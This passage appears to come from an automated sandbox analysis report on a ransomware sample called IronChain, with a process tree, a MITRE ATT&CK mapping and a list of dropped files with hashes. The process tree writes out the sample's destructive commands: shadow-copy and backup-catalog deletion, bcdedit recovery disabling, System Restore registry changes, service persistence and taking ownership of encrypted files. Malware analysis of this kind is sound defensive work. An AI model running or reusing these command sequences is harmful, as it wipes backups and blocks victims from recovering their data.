                                                                                                                                                                                                                                                                                                                                                        PID:3672
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "sc description IronChainSecurity "Trusted security module""
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:5832
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "sc start IronChainSecurity"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:808
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "sc failure IronChainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:2392
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "sc critical IronChainSecurity"
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:3596
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:4500
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4984
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1536
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6124
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safeboot minimal"
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5656
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6128
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:480
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:4184
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:5420
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                                  mshta.exe C:\Users\Admin\Desktop\IronChain.hta
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5568
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Opens file in notepad (likely ransom note)
                                                                                                                                                                                                                                                                                                                                                                                    PID:4260
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI24482\IronChain.py" /reset"
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:7184
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI24482\IronChain.py" /inheritance:d"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:6736
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI24482\IronChain.py" /remove "Administrators""
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:7792
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI24482\IronChain.py" /remove "Admin""
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:7200
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI24482\IronChain.py" /remove "Authenticated Users""
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6312
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI24482\IronChain.py" /grant "Users:RX""
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:6308
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI24482\IronChain.py" /inheritance:d"
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6404
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\route.exe
                                                                                                                                                                                                                                                                                                                                                                                                  route print 0.0.0.0
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:7064
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                    powershell -Command "Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true } | Select-Object -ExpandProperty IPAddress"
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                    PID:2860
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\ConvertFind.WTV.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6628
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\ConnectMerge.tmp.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6928
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                      icacls \\?\C:\Users\Admin\Desktop\ConvertFromResume.lock.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5988
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\DisableClose.dib.Chained
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6952
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\desktop.ini.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4420
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\EditRestart.pps.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                                                                                                                                                                                                        PID:7408
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\ImportMount.docx.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1528
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                          ping -n 1 -w 50 10.127.1.5
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2332
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Desktop\RegisterEnter.TTS.Chained
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                          PID:7240
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                          ping -n 1 -w 50 10.127.1.6
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2024
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                          icacls \\?\C:\Users\Admin\Desktop\RegisterEnter.TTS.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6132
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                            ping -n 1 -w 50 10.127.1.7
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6736
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                            takeown /f \\?\C:\Users\Admin\Desktop\ResizeExpand.vstx.Chained
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Possible privilege escalation attempt
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1796
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\RequestMove.ods.Chained /grant Admin:F
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:7892
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5176
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl1.bat
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:6084

                                                                                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                                                  Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                  Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                  Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                  Execution

                                                                                                                                                                                                                                                                                                                                                                                                                  Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                  T1059

                                                                                                                                                                                                                                                                                                                                                                                                                  PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1059.001

                                                                                                                                                                                                                                                                                                                                                                                                                  Windows Command Shell

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1059.003

                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                  System Services

                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                  T1569

                                                                                                                                                                                                                                                                                                                                                                                                                  Service Execution

                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                  T1569.002

                                                                                                                                                                                                                                                                                                                                                                                                                  Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                  Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                  3
                                                                                                                                                                                                                                                                                                                                                                                                                  T1543

                                                                                                                                                                                                                                                                                                                                                                                                                  Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                  3
                                                                                                                                                                                                                                                                                                                                                                                                                  T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                  Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1546

                                                                                                                                                                                                                                                                                                                                                                                                                  Netsh Helper DLL

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1546.007

                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                  Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                  Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                  3
                                                                                                                                                                                                                                                                                                                                                                                                                  T1543

                                                                                                                                                                                                                                                                                                                                                                                                                  Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                  3
                                                                                                                                                                                                                                                                                                                                                                                                                  T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                  Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1546

                                                                                                                                                                                                                                                                                                                                                                                                                  Netsh Helper DLL

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1546.007

                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                  Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                  File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1222

                                                                                                                                                                                                                                                                                                                                                                                                                  Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                  T1562

                                                                                                                                                                                                                                                                                                                                                                                                                  Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1562.004

                                                                                                                                                                                                                                                                                                                                                                                                                  Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                  Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                  Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1012

                                                                                                                                                                                                                                                                                                                                                                                                                  Remote System Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                  T1018

                                                                                                                                                                                                                                                                                                                                                                                                                  System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                  T1016

                                                                                                                                                                                                                                                                                                                                                                                                                  Internet Connection Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                  T1016.001

                                                                                                                                                                                                                                                                                                                                                                                                                  Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                  Collection

                                                                                                                                                                                                                                                                                                                                                                                                                  Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                  Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                  Impact

                                                                                                                                                                                                                                                                                                                                                                                                                  Service Stop

                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                  T1489

                                                                                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                  _pkcs1_decode.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\Crypto\Cipher\_pkcs1_decode.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 10KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 2dd7b0a1bc8dfba9def96213b26d9c273b7f3272e87daf1fac461ce496251f5b
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _raw_aes.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\Crypto\Cipher\_raw_aes.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 17KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 f5220c72de6afca38b237283f3a6d18eefd9485944eeeb1a9283245a30c00809
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _raw_aesni.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\Crypto\Cipher\_raw_aesni.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 a03ec60271dd573aeb71d3bf5ae2ec45a999268a0322c24dec9d3ddb79dc35da
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _SHA1.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\Crypto\Hash\_SHA1.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 13KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 8c179a67be1aec15fa20ee734dc1c7b01521ac27336acc73ef111cc4d2ebb089
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _modexp.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\Crypto\Math\_modexp.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 18KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 c37fe7d8f578e0b5cc2fb5bf1cb69dd4c8356360e3c8ed9f1580c1f5d10c48c0
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _cpuid_c.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\Crypto\Util\_cpuid_c.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 9KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 cb7718dab26e60dc96ee83d7c355adb6f31ee999d9169b907ff50f21f626cfbc
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _strxor.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\Crypto\Util\_strxor.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 9KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 2e03557607cd12cdd3e5d3262b0638cc4193b8c6b03c3ee61bca9c8d887cf608
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  VCRUNTIME140.dll
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\VCRUNTIME140.dll
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 117KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  VCRUNTIME140_1.dll
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\VCRUNTIME140_1.dll
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 48KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _bz2.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\_bz2.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 50KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 3eeef9dfd562710eb6328800332661d4dc99884ca1cd5ad726ad0988493b01c9
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _ctypes.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\_ctypes.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 67KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 ec9d5b390d75cf89d8e5ed28085d8dfeec1482c5e7169b5c2b995b58f0fb54a4
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _hashlib.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\_hashlib.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 38KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 d07413da9619ac59313935a97d00da75b149679aacbfdc65551700f8e0fbc930
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _lzma.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI39362\_lzma.pyd
                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 88KB
                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 d9ee00966c380dc6e7fbd6d508682d479610693299f1efd5a361feaf13576d75
                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                  _socket.pyd
